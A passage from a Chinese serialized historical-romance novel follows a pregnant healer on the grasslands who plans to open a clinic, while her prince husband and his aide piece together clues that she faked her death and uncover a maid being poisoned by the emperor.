珠儿用力地点了点头,说:“奴婢每次端进来的食物,都是怎么端进来的,又怎么再端出去。大皇子知道后很是上心,说姑娘你并不是不饿,而是不喜欢闻到有关奶的味道,又不想麻烦别人,于是便命专人以后特地负责只给姑娘你一日三餐准备你所喜欢的吃食。” 衣上云听了,心中着实感动,遂一把便拿起一个包子来塞入到口中,说:“不用那么麻烦,这个包子就已经很好了。我每天,不……甚至于每餐,吃这个都可以,我都不会腻。” 看着衣上云终于开始吃东西,珠儿露出了开心极了的笑容来。 第六百八十章:云上医舍 看到衣上云从未有过如此好的胃口,珠儿高兴不已,叮嘱她:“姑娘你慢点儿吃,小心别噎着了。” 遂又双手递上去一双筷子,催促道:“再尝尝这些小菜,都是专门给姑娘准备的,快尝尝!” 看着案上被珠儿很快便围起圆满的一圈,摆着或冷,或热,足足有九个精致的碗碟,衣上云瞬时惊呆了。 “你们是怎么知道的,这些都是我爱吃的。” 最后目光落在了被圈在中心的第十个精致的盘子上,惊声道:“居然会有清蒸鲈鱼……” 于是便迫不及待地夹起一小块来放入嘴里,仔细尝了尝,眼里顿时有光出现,开口赞道:“鱼肉鲜嫩,好吃,真的很好吃。” 这时,珠儿不解地问:“姑娘果真如此喜欢这道菜?” 衣上云叹道:“那是自然了。你没听过那首很有名的诗吗?江上往来人,但爱鲈鱼美。相信世上没有人能抗拒鲈鱼的鲜美。” 珠儿摇了摇头:“这种食物,草原上甚是少见。” 衣上云想想也是,此地常年干旱缺水,又怎会有鲈鱼呢? 于是继续朝其介绍鲈鱼的药用价值:“鲈鱼性味甘、平,具有益脾胃,补肝肾,健筋骨,安胎之功效;适合慢性胃痛、脾虚泄泻、消化不良、消瘦及胎动不安者食用。孕妇吃鲈鱼是一种既补身、又不会造成肥胖的佳品。” 话刚说完,却似忽然又意识到了什么。 心里默默地道:“不对,难道拓跋泽是因为我方才救那个孩子的时候动了胎气,故而特意命人煮的这道菜?” 看到衣上云总算对食物提起了兴趣,珠儿高兴的同时,心里亦暗暗嫉妒的发狂:“那西秦来的厨人亦是如此说孕妇吃鲈鱼的好处,这可是大皇子大半天寻遍了整个草原,好不容易才寻回的一条天价鲈鱼。” 可最后却隐忍着只对其说道:“姑娘喜欢便好!也不枉费大皇子一片苦心,千里迢迢从西秦花重金找回的厨人。” 闻此,衣上云似是察觉到了她心里细微的不悦,不禁顿了一下。 继而扬起一抹笑容来,召唤立在一旁的珠儿,说:“这么多吃的,我一人哪里吃得完?珠儿你不要只站在那里,快点过来陪我一起吃吧。” 岂料珠儿却一口拒绝了她:“不用了。” 看到衣上云顿怔在原地,明显对自己的回应有些意外,便忙解释说:“姑娘不要多想,奴婢是草原上的女子,还是更加喜欢草原上的食物。姑娘的身子,如今是一人吃,两人补。还是您自己慢慢用吧!” 生怕自己的心思被衣上云察觉,珠儿飞快地想了一个借口:“对了,奴婢想起还有个鸡汤,应该就快好了,奴婢这就去看看。” 话刚说完,便就低头转身跑了出去。 怎料刚一跑出毡帐外,因为若有所思着,甚至一丁点儿都没有观察周围的环境,就这样实实地撞上一直等待在外面的拓跋泽的后背上。 “duang……” 珠儿顿觉一种晕眩,遂将一手附上额头,嘴里发出一阵吃痛声:“嘶……” 拓跋泽回头一看,便皱眉对其训斥说:“这般慌慌张张地做什么?” 珠儿紧忙朝其道歉:“对不起,对不起……都是奴婢的错,是奴婢没有看见大皇子站在这里,故冲撞了您……” 拓跋泽对于眼前这人,感觉似是实在有些无奈,便转而询问她:“她现在怎么样了?有没有吃下些许东西呢?” 珠儿回答:“姑娘现在已经好多了,她果然很喜欢大皇子现在给她安排的膳食,说那些都是她喜欢吃的。” 闻此,刹那间,拓跋泽的脸上现出颇为轻松愉悦的笑容来,遂将一只大手随意搭在了珠儿的肩膀上说:“那便好,你做得不错!” 听闻夸奖,珠儿更在意的,则是此时正真真切切地搭在自己肩上的这只大而有力温暖的手。 就在她沉浸在这种莫名心动,甚至还觉得有些暧昧的气氛时,拓跋泽却忽然再次开口说了一声:“本皇子进去看看,你先下去吧!” 说着,便就昂首阔步,走了进去。 珠儿转而无比落寞的眼神,看着他离去的背影,轻声道:“是!” 可让拓跋泽没有想到的是,当他满脸喜悦的来到衣上云的身后时。 衣上云却并未在继续用膳,而是不知何时早已放下了手中的筷子,此刻正愣愣地对着眼前这满满一食案的美食佳肴独自发呆。 见此,拓跋泽顿卸去了脸上的笑容。 上前落座在她的身旁,道:“听闻侍女说你不喜奶味,每日几乎都没吃什么东西,本皇子便命人特地给你一个人一日三餐准备的都是西秦的膳食。可你……怎么还是吃不下吗?” 衣上云沉默了一会儿,素声说:“其实你不必待我如此……” 闻此,拓跋泽像是忽然明白了什么,对着衣上云的侧脸凝视了一会儿。 遂吸了口气,清了清嗓子,说:“你不要误会。本皇子只是怕那个小东西若是万一被饿着,有个什么闪失,我便会失去控制你的筹码而已!你不用太感动……” 可却是话一说完,便紧张地自己给自己倒了一盏茶,端起来猛地一口灌下。 自此,很长一段时间里,衣上云竟再也没有说一个字。 她当然知道,拓跋泽这是在极力掩饰自己的内心。 她对他的用心,明显已昭然若揭…… 可若在此继续无所事事下去,整日活在他的眼皮子底下,像被人监视着一般,怕是并非长久之计。 还有那个珠儿,明显刚刚感觉她的情绪不对…… 就在衣上云左右为难,思考之际,拓跋泽忽然再次开了口:“你在想什么呢?” 衣上云轻轻摇了摇头。 拓跋泽顿时眉头蹙起,道:“你明明就有心事?不妨说出来听听。” 接着又想了许久,衣上云似是终于下定了决心。 忽然抬起头来,无比认真地看着他的眼睛,乍出一句:“我要在这里开个医舍。” 闻此,拓跋泽顿被刚刚准备咽下的一口茶汤呛住,遂发出“咳咳咳”的一阵猛烈的咳声来。 好一会儿后,方才渐渐平复下来,连连开口质疑极了地问她。 “你说什么? “在这里……开医舍?” “你是认真的吗?” “你的身子都已经这样了,难道就不能消停下来,老实一点儿,不要再乱折腾了好吗?” 衣上云却是满脸希冀地道:“可我只有在面对病患的时候,才是最安心的时刻。我甚至都已经连名字都想好了,就叫……云上医舍。” “不行,我不答应。”怎料无论衣上云如何解释,拓跋泽始终都不肯松口答应。 岂料衣上云却无比坚定地道:“这件事,我不是在听你的意见。不管你答不答应,我都会做成的。” 拓跋泽却不依不饶,想要继续试着打消她的念头:“没有用的,你一个外地人,又是那么年轻的一名女子,不会有人相信你,找你看诊的。” “哼” 衣上云最后笑了笑,起身独自走了出去。 拓跋泽着急地问:“天都快要黑了,你要去哪儿?” 衣上云头也不回,只说了句:“我要独自去琢磨一些事情,你不要跟过来。” 拓跋泽听了,生气极了地道:“这个麻烦的蠢女人,真是一点儿也不让人省心。” 草原寂静的夜。 晴朗的夜空,繁星闪烁。 远处的群山与脚下的草原浑然连成一体,让人傻傻分不清到底哪里是苍天,哪里是大地。 只觉这片浑厚、深沉、而又粗犷的大地,真正叫人心旷神怡。 周围一片万籁俱寂,今夜却似格外地静,静得似是就连自己心跳的声音亦能听得清清楚楚。 近来越来越频繁的胎动,让此刻正安静地坐在湖边沉思着的衣上云,不禁一边把玩着差点儿失去的那只七彩金丝彩玉镯子,一边想起了轩辕翰来。 于是,她渐渐抬起头来放眼遥望向东边的夜空,居然嘴里情不自禁地自言自语说了句:“你还好吗?” 是夜。 天的另一边,西秦秦王府。 “殿下” 程良刚外出办差回来,便就径直来到了承华殿里复命。 轩辕翰正似在陷入什么沉思之中,一看到程良进来,便即刻回过神来沉声问:“如何?” 程良顿显一脸难色:“属下已派人搜索遍了全城,并守了百草谷,百草堂,还有城西衣府,张府已有月余,至今依旧没有任何发现。” 想了想,又心生怀疑地道:“殿下有没有想过,或许,易三少会不会已经离开西秦了?” 犹犹豫豫之间,轩辕翰却似是根本就没有听程良的话。 兀自只觉得似是有些事,至今他总觉得有些蹊跷,便说:“程良……你……” 看到主人脸上现出了少有的犹豫,程良便追问道:“殿下想说什么?” 轩辕翰再次想了想,忽然问:“你真的相信……云儿她已经死了?” 程良听了,顿看向主人的脸,心里惊了一下,道:“难道殿下以为,王妃娘娘并没有死?” 第六百八十一章:你还活着,对吗? 轩辕翰起身来到窗前,单手附后,手里紧紧攥着一只精致的白玉镂雕香囊。 将一双深邃的眼眸,缓缓望向窗外的沉沉夜色。 幽幽道:“本王也不知道。” 看到轩辕翰显然至今都无法接受衣上云的离开,程良亦变得沉默了下来。 虽然心疼至极,却又不知该如何宽慰? 毕竟那场令所有人望而生畏的灾难,太多人亲眼所见,哪还有生还的可能? 回首这几年,一路走来,这个主人与衣上云之间经历了太多的苦难。 这个男人,他用自己的生命守护着这片西秦大地,万物苍生。 可怎料,最后却唯独守护不了自己最想守护的两个人。 世人不都说苦尽甘会来吗?可为何却如此不公,偏偏对这个主人这般残忍。 想起在觻县所遭遇的那场劫难,细思极恐,就连自己至今都心有余悸着。 更别说衣上云,她只不过是个手无缚鸡之力的弱女子,又如何能与那样的天灾对抗? 然就是那样的一个女子,却用一股神秘的力量,和自己的身体守护了一方百姓。 就这样,两人各自心里思索着,沉默了一会儿。 轩辕翰顺着自己悲痛不已的思绪回忆着,对程良缓缓说道:“觻县那场百年难得一遇的飓风沙暴,本王相信无论是谁,一旦被卷入,都不可能再活着走出来。更何况是,尚还怀着身孕虚弱的云儿……” 每每想起他们母子最后离开他时的模样,自己竟只能束手无策,眼睁睁看着,什么都做不了,轩辕翰便痛的咬牙切齿。 此刻,他更是将握着白玉镂雕香囊的那只拳头紧了紧,似是都掐出了血来。 冥冥之中,他是那样的不甘心,不愿认输,不想他们一家三口之间的缘分,就这样没了。 遂再一次仔细梳理了一下,打从这次自己昏迷不醒后,至今所发生的所有的事情。 先是张致远莫名其妙地忽然而至,来到王府,在自己昏迷的榻前,告诉自己云儿还活着的消息。 可等到自己真的苏醒过来,他却又矢口否认曾经说过这样的话。 接着,便是那个疾风骤雨的大雨夜。 自己亲眼目睹了传闻之中的凤凰虚影,竟在长宁宫的上空出现。 几年前,在城西衣府,亦是一道神奇的凤凰虚影出现,衣上云方才苏醒了过来。 那长宁宫里所出现的这道凤凰虚影,又是因为什么呢? 思及此,轩辕翰心里默默地问自己道:“这一切,难道真的只是巧合,抑或是怪力乱神之说吗?” 顿了会儿,轩辕翰再次继续回忆。 再后来,便是衣上坤忽然登门来,说有人带回了自己的女儿已然故去的消息,居然还拿着衣上云生前最珍视的信物。 亦正是这只镯子,让他对衣上云的离世再也深信不疑。 可这只镯子,居然被人偷走了。 那夜与那人对视,其身上的香味,除了平日里打扮妖艳的易三少,又还能会有谁? “等等,如今想来,那夜那人,险些摔倒落水时,似乎并不会武功。易三少可不仅仅是会武功的人,还有他身上的香味,怎么又好像是……” 就在轩辕翰层层抽丝剥茧,正思量着,像是将有什么新的发现之际。 与自己一道沉默了许久的程良,亦想起在长宁宫里所发生的一切事情深感颇为蹊跷。 于是想了想,忽然开口打破了这片沉静。 “殿下可还记得那夜遇到的那名小药女,她分明说自己是新来的,可衣上坤却说御药房并无新人入宫。后来属下亦去查了御药房的名单……” 闻声,轩辕翰忽然被打断思绪,着急地追问:“如何?” 程良道:“属下查的结果,证实衣上坤并未撒谎,御药房那些日子的确没有新进的人员。” 轩辕翰恍然大悟,说:“所以,那夜,的确是那名小药女在撒谎!” 至此,他终于理清楚一切:“这便就都对上了!” 于是对仿佛尚还依旧不清楚的程良解释说:“后来我们又遇到的那名打扫的宫女,也说长宁宫里住着的是个女子。我们也曾亲眼所见,有女子的物件被人从宫里送出。所以被咱们这个皇上藏在长宁宫里的所谓的新幕僚,从始至终,便就是名女扮男装的女子!” 程良想了想,不解地说:“可从未听说过皇上有过女幕僚呀?” 这时,轩辕翰忽然发出一阵轻笑声:“哼……” 紧接着道:“没错,所以,那女子亦并不是什么幕僚!” 程良似茅塞顿开,可想想这个皇帝亦不好女色,于是便又问:“不是幕僚,那她是……” 轩辕翰原本一直黯然悲伤着的情绪,竟忽然好转了起来:“本王曾说过,在那假扮的小药女的身上,本王明明闻到了云儿身上的味道。” 此时程良终于明白了过来,却亦是惊呆了:“莫非殿下的意思是说,那名冒充的小药女,便是王妃娘娘……” 遂一想,又疑惑地说:“可若她真的是王妃娘娘,那夜又怎会不认得殿下呢?” 显然,轩辕翰的心里亦是对此很不解。 可他心情的确放松了许多。 就连那许久以来,两道似是这辈子永远都化不开了的眉毛,亦忽然渐渐舒展了开来。 一旁的程良,却愈想愈疑惑连连,道:“如若果真是王妃娘娘,宫里又怎会无人识得,她又为什么会住进长宁宫里?竟还是皇上的意思……” 顿了顿,复又自言自语地问:“还有那个死在长宁宫里的男人,他又是谁?” 轩辕翰对此,亦是同样不解:“对呀,他又在打什么主意……那个男人又是谁,他又为何会死?难道与云儿有关?” 过了会儿,程良竟先开始自问自答起来:“莫非是因为今非昔比,如今恢复了容貌的王妃娘娘,宫里再无人能识出?亦无人知晓她便是殿下的新王妃?” “如此也便罢了,本王怕只怕,不会是皇上已经知晓了云儿守护者的身份,这才将她带进宫去秘密安置在长宁宫里……” 闻此,轩辕翰的心里,似是忽然升起一种极不好的预感。 程良亦是顿时心急如焚,道:“那怎么办?如果真是这样,那不就糟了。” 轩辕翰想了想,对他说:“如果真是这样,他至今都未出手,证明心中仍有顾虑,倒是也不必过于紧张,乱了自己的方寸。” 可让轩辕翰着实不解的是:“为今之计,我们必须先弄清楚云儿到底发生了什么?为什么当本王出现在她面前的时候,她却丝毫未向本王暗示过什么?竟就装作如同一个陌生人一般。” 闻此,程良面露起难色着道:“可那宫女不是说,长宁宫里早已是人去楼空,如今又该从何查起?” 过了会儿,轩辕翰忽然想起一个人来,便对程良说:“或许有一个人,可以帮我们。” 程良忙问:“殿下说的是谁?” 轩辕翰道:“是御药房里,一个叫做丁香的药女……” 至此,程良使劲儿地敲了一下自己的脑门,幡然醒悟过来。 “对呀,丁香……属下怎么把她给忘记了?一直以来,她与王妃娘娘都十分要好。如果我们去问她,想她定会知无不言的。” 于是,他紧忙朝主人确认:“如此一来,我们布置在百草谷,百草堂,还有城西衣府,和张致远府上的人,要不要撤回来,全力去搜寻王妃娘娘的下落……” 轩辕翰思虑片刻,吩咐道:“命人继续密切监视百草谷,百草堂,还有城西衣府,和张致远府邸。如有任何风吹草动,立刻来报。那张致远和衣上坤,他们一定隐瞒了些什么?剩下的,等见过丁香后再做安排吧。” “是” 可就在程良即将转身之际,轩辕翰复又再次开了口:“等等……” 程良回过身来问:“殿下还有什么吩咐?” 轩辕翰想了想,道:“派一些人,去查一查拓跋泽与拓跋宏的消息,查到什么,立刻来报。” 程良不解地问:“殿下为何突然想要查他们兄弟俩?” 轩辕翰解释道:“本王一直以为,以拓跋泽的个性,绝对不会就如此心甘情愿地做个亡国奴的,你让人去好好查查,他到底在哪儿?又在做些什么?” “是,属下明白。” 交代完一切,看到程良领命后刚一转身,却又顿收住脚步仍然未退下去,轩辕翰便询问:“怎么,还有事儿?” 程良回过头来,脸色忧郁地说:“殿下,近日在城中,似是发现了来自东宁国的一些细作。” “东宁国细作?” 轩辕翰皱眉想了想,似是心里早有预料,便吩咐说:“先派人密切监视其一举一动,看看他们此次为何来我西秦,务必彻底查清楚他们有什么目的?” 程良这才抱拳领命,道:“是!属下明白……” 至此,程良方才终于转身退了出去。 一室寂静。 林月轩里,烛火惺忪。 轩辕翰缓缓将藏在袖子里的那只精致的白玉镂雕香囊拿了出来。 对其柔声地开口自言自语道:“云儿,你还活着,对吗?” “这场丧礼,莫非是你亲自导演的?” 第六百八十二章:这一次,他将不负所托 翌日。 早朝刚下,程良便奉命迫不及待地来到了太医院里。 此时,张致远正在巡视院中各处事务。 看到一名正在挑选草药的药女,便叮嘱她:“这草药是制作药丸的主要原料,必须要选择新鲜、干燥、无虫害的草药,切不可马虎大意。” 药女恭敬地点头回答:“是,大人,奴婢记住了。” 接着,又叮嘱其他相关人等说:“将选好的草药用石臼或研钵研成细末。再将研好的草药混合均匀,严格按照药方的配方比例加入其他药材。” 来到制丸的地方,张致远看到一名药女正想将手里的一壶水直接倒入。 便急忙上前伸手过去将其制止,亲自上手教她:“这调制的工序,不能随便马虎地将些水或蜜,一次加入。而要将混合好的草药用适量的水或者蜜,一边搅拌,一边分多次徐徐加入,直至调成糊状,像这样就可以了。” 接着,他复又麻利地挽起衣袖来,亲自示范用手将调好的药糊揉成一粒粒大小均匀的小球状。 一边示范完成一整套工作,一边仔细地教说:“将揉好的药丸放在通风处晾干,务必保证药丸干燥。最后将干燥的药丸装入密封的罐子中,放在阴凉干燥处保存即可。” 最后,又道:“药丸具有口感良好、易于携带、使用方便等优点。但我们在制作时,一定要掌握好药材的选择、药方的配比、制丸的技巧以及保存等方法,神奇的药草是大自然对我们的馈赠,万万不可暴殄天物。” 就在这时,一堆药女里有人议论说:“这在制作药丸上,丁香可是我们当中最擅长的,绝对再没有人能胜过她。” 紧接着,便有人问:“对了,院判大人,怎么最近都不见大药女呢,她去哪儿了?” 只见张致远的神情忽然沉了下来,顿了顿,回答说:“前段时日的暴雨,使得郊区时有地方发生了水患,造成了许多流民失所,疑似还有疫情发生,本院判便派她出去帮忙了。” 唯恐众人继续再问下去,张致远便严厉训斥说:“你们既已知自己技不如人,还不好好练习,是想让本院判也把你们都派到那样的地方去历练吗?” 果然,此话一出,众人纷纷担心起自己来,赶忙开始继续自己手里的动作:“不要不要,我们好好练,我们一定好好练,我们马上就练习!” 而这一切,恰恰被立在门口的程良俱都亲眼看见。 张致远一抬头瞥见,遂顿了一下,继而急忙奔走过去亲自朝其笑脸迎接:“程将军,今日您怎么过来了?” 程良本是来寻丁香的,可显然她并不在这里,遂灵光一闪,转而问道:“今日衣上坤有没有当值?有些关于王妃娘娘的事情,殿下让我来亲自问问他……” 张致远捋了捋胡须,道:“衣药师,他是夜里的值,将军若有急事找他的话,怕是只有去城西衣府了……” 程良便道:“倒也不是多么着急的事,既然他不当值,那便算了。” 张致远仍然客套地道:“将军既然来了,便在里面坐坐喝口茶?” 程良不屑地瞥了他一眼,说了句:“本将军还有事,不必了!”,便就兀自转身离开。 望着程良离去的背影,张致远嘴里喃喃低语道:“秦王妃明明带着北烈二皇子的骨灰去了草原,可为何那衣上坤却说她已经死了呢?” 显然,对于这一切,张致远是越来越看不透了。 可眼下,他知道自己还有一件更重要的事要办。 想起这事,他便着急地出门,朝着深宫里一所尤为偏僻荒芜的院落里走去。 在那所阴暗潮湿的深宫一角。 打开锁,推开门。 霎时间,一阵阴风拂过,不禁让人顿觉后背直发凉。 映入眼帘的,是一院子的枯枝与落叶,破碎的窗户纸。 这里到处一片死寂,毫无一丝生机,仿佛连鸟儿都不曾停留过。 院子中央,有一潭死水。 水面上漂浮着些许死鱼的尸体,因为无人打理,在这炎热的夏日里,散发出阵阵腥臭味。 张致远不得不掩住口鼻,进了屋。 寻了半天,方才借着一缕若有若无的晦暗光线,在屋内看到了蜷缩在角落里无精打采,甚至已有些奄奄一息的女子。 于是便加快了脚步,来到了她的面前,一声声地呼唤她。 “丁香” “丁香” “今天你感觉怎么样了?” 闻声,那女子过了许久方才缓缓醒了过来,朝张致远的脚下爬了过去。 使出浑身仅剩下的最后一丝力气,紧紧的抱住了张致远的脚脖子。 脸色苍白,虚弱极了地向其连声求救。 “院判大人……” “院判大人……” “你来了。” “你终于来了!” “求求你……” “救救我……” “救救我,院判大人。” “他们每天都有人来强行给我灌药。” “我实在是受不了了。” “我好难受。” “我真的好难受。” “每当发作的时候,我的身体里像是有无数的蚂蚁在啃噬。” “真的好难受。” 听了丁香的话,看着往日里那般有生气的一女子,如今被璟帝令人强行灌毒至此,张致远愤怒地紧紧攥起了双拳。 “皇上残暴不仁,竟连一个小药女亦不放过。不敢让人在她的身上留下明显的伤痕,怕有朝一日,衣上云回来发现自己不守承诺,便对她施毒。长期灌下这种毒,会损坏人体各器官功能,最后直至死亡,真是太过分了!” 可怒归怒。 终究,他却是最后只能心有余而力不足地从袖兜里掏出一个布袋打开来,放在身旁的案几上。 再蹲身下去,将丁香扶起坐好。 继而捏起其中一枚银针来,无奈地对她说:“对不起,我没有办法从太医院里带出能为你解毒的药来,只能每日给你施针一次,可这也只能稍稍减轻些你的痛苦。如此长期以往下去,怕也并非长久之计。” 张致远想要鼓励丁香活下去的勇气,于是满怀期待地说:“半年,你只需再忍耐半年。王妃娘娘便就会回来。到时,皇上一定会遵守与她之间的承诺,放了你的。” 丁香却是不以为然:“不,丁香的性命就如同这地上的蝼蚁一般渺小不起眼,死了便死了,有何可惜!但我绝对不能连累了娘娘,如果让我活下去的唯一方法,是困住了王妃娘娘的自由,那我情愿现在就去死。” 闻此,张致远惊谔地道:“你可千万不要这样想。王妃娘娘素来言而有信,且重情重意,她说会回来便就一定会回来。你今日所受的苦难一切皆是因她而生,若是有一日,她真的回来了,而你却不在了,那她该会有多难过与自责,难道你忘记拓跋宏的死了吗?” 闻此,丁香默默地流下了伤心的眼泪。 张致远继续努力鼓励宽慰她:“王妃娘娘是个奇女子!凡事她想做的事情,便都能做成。你曾经与她朝夕相处共事过,这一点应该比谁都明白。所以便更加一定要振作,一定要相信她。万万不可选择与拓跋宏同样的路,让娘娘失望!更让亲者痛,仇者快!” 想起衣上云离开时对自己的嘱托,张致远决定,这一次,他将不负所托,一定要护住了丁香,不让她再重蹈拓跋宏的覆辙。 走出太医院。 程良心里暗自琢磨着:“虽说前段时日的暴雨,使得郊区的确有几个地方发生了水患,可还不至于要动用太医院的人。这个张致远,到底在隐瞒什么?丁香又到底在哪儿?” 紧接着,程良一边若有所思着,一边又来到了天牢附近的一处凉亭里。 很快,一名皇宫狱卒打扮的男子左顾右盼着,似是颇为谨慎,朝凉亭方向匆匆赶了过来。 一看到程良,便拱手朝其行礼:“属下参见将军!” 程良一抬手,那狱卒便直起身来问:“不知将军叫属下前来所为何事?” 程良问:“本将军问你,前段时日,天牢里是不是从宫外抓了一名犯人进来?” 璟帝残暴不仁,隔三差二便会从宫外抓回一些反对自己,对自己不利的人回来施以酷刑。 此时程良这样问,那狱卒还真不知道怎么回答,于是回忆着道:“从宫外抓来的?” 程良再提醒了一下:“那男子,后来又被送进了长宁宫……” 如此一来,狱卒这才锁定了目标,恍然大悟道:“原来将军说的是那个人!那人在牢里,真是受尽了苦头,自从入狱后,连续好几天,每隔一个时辰便被严刑拷问一番,却自始至终吭都不吭一声,是条汉子!” 程良问:“你可知道他是什么人?为何而被抓?” 狱卒回忆了片刻,说:“属下只听说,他似是原来的北烈国人,具体姓谁名甚,就无从可知了?” “北烈?” 程良一听,心里遂琢磨了一会儿,很快心里便似已有了几个备选。 遂又问那狱卒:“你可还记得那人的模样长相?” 第六百八十三章:误大事了 “那人遂出自北烈,可却又不同一般北烈蛮夷男子的凶残,其行为举止温文尔雅,听说,曾经还是个救死扶伤的医者……” 程良听着耳旁狱卒的描述,心中缓缓惊诧地说:“如果真如殿下所预料的一般,长宁宫里的女子是王妃娘娘,那与娘娘相识的北烈人,便只有拓跋泽与拓跋宏兄弟俩人。而拓跋泽的凶残狠毒,世人皆知,如果不是他,那人……该不会就是拓跋宏吧?!” 狱卒显然至今都还后怕着:“若不是那位姑娘来的及时,将他带走,那人定会被活活打死!” 闻声,程良顿从自己的思绪中抽身出来,问:“你是说,救走那男子的,是位姑娘?是宫里的宫女吗?” 狱卒回忆着说:“不像是个宫女,可亦不像是宫里的主子……那女子生有一双世间极好看的凤眼,个性温柔善良,长相甚是好看,仿佛不是人间烟火里长成的一般!” 程良顿时明白了过来,忽生气地训斥那狱卒:“笨蛋!那是咱们王爷三书六礼,八抬大轿,十里红妆亲迎娶进门的王妃娘娘,竟都不识得,真是误大事了!” 狱卒听了,直瞪大眼珠子,大惊:“什么?她就是咱们的王妃娘娘?” 可又自觉委屈无辜地很:“属下一连数年都在这天牢里蛰伏着,哪有机会见到咱们王妃娘娘啊!” 一时间,程良似是都不知该如何回去向主子交待,衣上云竟就在自己人的眼皮子底下,却都未能察觉。 宫门口,一处僻静的角落里。 轩辕翰正闭目养神,静静地坐在车里,等着程良的消息。 马车外,忽然传来一声:“殿下,紧急密函!” 只见一双骨节分明的大手透过车窗从里面伸了出来,遂将被人高高举过头顶的一封密函接了进去。 展开来一看,顷刻间,轩辕翰朝其瞪大了那双深不见底的眼眸。 就在这时,有人禀报道:“殿下,程将军出来了!” 轩辕翰方才回过神来,伸手掀开了车窗帘一角。 远远地,看着程良终于缓缓走出宫门,方才似是安心下来。 待其近身到了车窗前,程良正想开口禀报:“殿下……” 岂料话刚开口,便闻车内传出轩辕翰一素声谨慎地道:“先回府……” 于是,一行人等纷纷跨步上马,朝秦王府方向回去。 一直到了承华殿。 轩辕翰方才开口问:“怎么样?可已经见过丁香了,她怎么说?” “丁香她……” 看着程良脸色低沉,又吞吞吐吐的样子,轩辕翰再次朝其开口问:“丁香她怎么了?” 程良回忆方才所见所闻,说:“启禀殿下,这些日子,丁香并不在御药房里。” 轩辕翰一听,紧忙质问他:“怎么回事?” 程良似是至今亦都有些疑惑,说:“虽说前段时日突然而至的那场暴雨,使得皇城郊区的确有几个地方发生了水患,可还不至于要动用太医院的人。然方才属下在太医院却真真切切地亲耳听到,张致远说丁香被派去救灾了。” “丁香被派去救灾了……”轩辕翰似是亦对此着实有些疑惑,遂重复了一次。 默想了一会儿,道:“你是不是怀疑,张致远在刻意隐瞒些什么?” 程良一路上想了许久,愈来愈有种强烈极了的不好预感,此刻喃喃说道:“该不会,关于长宁宫里的事情,丁香真的知道些什么,而被人给杀人灭口了吧?” 闻此,轩辕翰顿愤愤地道:“命人去查这件事,本王活要见人,死要见尸……” “是” 程良即刻领命。 犹犹豫豫间,只见程良接下来现出一脸难色。 可最终却又不得不复又开口,先做了个铺垫,说:“还有一事,殿下听了,切莫太过生气!” 好不容易寻了一条线索,却又断了。 此刻,还能有什么比这更糟糕的,轩辕翰隐忍着心头的失望,沉声问:“什么事?” 仅仅只闻这声音,已经足以令程良全身发冷,战战兢兢了起来。 于是默默地吞下了一口口水,程良终是心一横,缓缓道:“从太医院打听无果,出来后,属下本想到天牢里了解一下之前被送进长宁宫的那名男子的事情。看看有没有什么蛛丝马迹,能再寻一线线索,可殿下,您猜猜,那名男子,他是谁?” 轩辕翰仿佛已经提不起兴致,便随意地问了句:“是谁?” 程良咬了咬牙,说:“一直以来,我们的人都没有查到有关拓跋宏的消息。听说自从北烈亡国后,他便一直一个人独来独往,几乎居无定所。最后一次,便是上次与拓跋泽大吵了一架后,便就再也没有消息了……” 轩辕翰简直不敢相信自己的耳朵:“你是说,那名男子,极有可能便是消失了的拓跋宏!” 果不其然,此话一出,就连轩辕翰自己亦顿瞪大了双眼,朝其连连惊问。 “你说他是……” “拓跋宏?” “拓跋宏……” “他竟然死了……” 程良小心翼翼,又极认真地点了点头:“根据我们安插在天牢里的人所描述的,那人极有可能便是拓跋宏!而且,他亦说,带拓跋宏离开天牢,到长宁宫疗伤的的确是名女子。” 说着说着,程良忽然停了下来,似是都不敢继续下去。 “而且……” “而且……” “而且属下也打听了,根据我们的人所描述的,那女子,八成便是王妃娘娘。” 硬是跃跃欲试了好几次,方才将话说出口。 过了会儿,看到主子一直沉默不语着,程良又继续道:“也就是说,的确是王妃娘娘将拓跋宏带到了长宁宫里。长宁宫里的一男一女,从始至终,便就只是王妃娘娘与拓跋宏二人。” 至此,轩辕翰终于恍然大悟。 却是霎时间,积攒了满腔的愤怒炸裂开来,扬声怒喝了一声:“这一切,为何都到现在才来报?!” 程良见了,紧忙“扑通”一声跪了下来。 解释说:“殿下息怒,实在是那人,他也不识得王妃娘娘,故而才会至此。” 轩辕翰深邃冰冷的眸子里,似是有千万支利剑欲射出:“都是怎么办差的?” 而程良亦是早已后悔莫及,为何当初没有早些想到调查天牢这边,此时却似再也无话可辩。 一室寂静。 仿佛就连周围的空气俱都停止流动了一般。 此刻,轩辕翰心里想的是。 “他竟然死了……” “为什么会是他!” “怎么偏偏是他!” 依照拓跋宏曾经在北烈对云儿的照顾,他对她的心思,他们之间的情份,他死了,她定会想方设法替他报仇。 可既然要报仇,为何又要离开? 就算是要为他报仇,也没有必要与自己撇清关系,竟假装从不认识,如陌路人一般。 让他更加疑惑不解的是,若是璟帝真的知道云儿便就是守护者后人,又怎会舍得轻易放她离开? 而云儿,如今却真的已经离开了皇宫。 难道,在璟帝的手里,有云儿的软肋。 如此一来,云儿就算离开,她亦还是会再回去。 他一定是拿什么威胁了她…… 那到底是什么? 主仆俩就这样俱都沉默着,各自深陷在自己的思绪中,不知过了多久。 轩辕翰忽然将方才收到的那封密函,递到了程良的面前:“你看看这个?” 程良这才敢起身来,上前将其接过展开来一看,顿惊诧万分:“拓跋泽回草原了!” 稍一回想,道:“我们的人不是已经查到,他与永乐公主结盟,欲想借东宁势力帮他夺回草原之地吗?如今还未等到东宁的回复,怎的就独自先行回草原了?” 轩辕翰想了想,冷声说道:“一定是有比这件事更为重要的事,令他不得不先回草原。” 程良满腹不解地思索着,说:“拓跋泽这个人野心勃勃,为达目的不择手段。到底是什么事,能让他连这般重要的事都撒手不管不顾了?” 忽然,程良灵光一闪,惊谔地道:“他与拓跋宏是血脉相连的亲兄弟,不会是感应到什么了吧?” 闻此,轩辕翰直觉自己的心瞬间顿停了一下:“你说什么?” 程良接着分析说:“殿下您仔细想想,那日那名宫女说,长宁宫住着的两个人,男的死了,女的离开了。可王妃娘娘出宫后,却并未回府,亦没有去过城西衣府,那她去哪儿了?” 轩辕翰思量着,至今实在琢磨不透衣上云为何要假死,便说:“难不成,她不会是因为没有地方去,回东宁母国去了?” 程良摇摇头:“自从东宁国君薨了后,殿下知道,那里已经没有王妃娘娘的任何牵挂了,她又怎会再回去?更何况,如果她要为拓跋宏报仇,当然应该留在宫中盘算。” 轩辕翰思虑片刻,忽然醒悟道:“难道,云儿她要送拓跋宏回草原。” 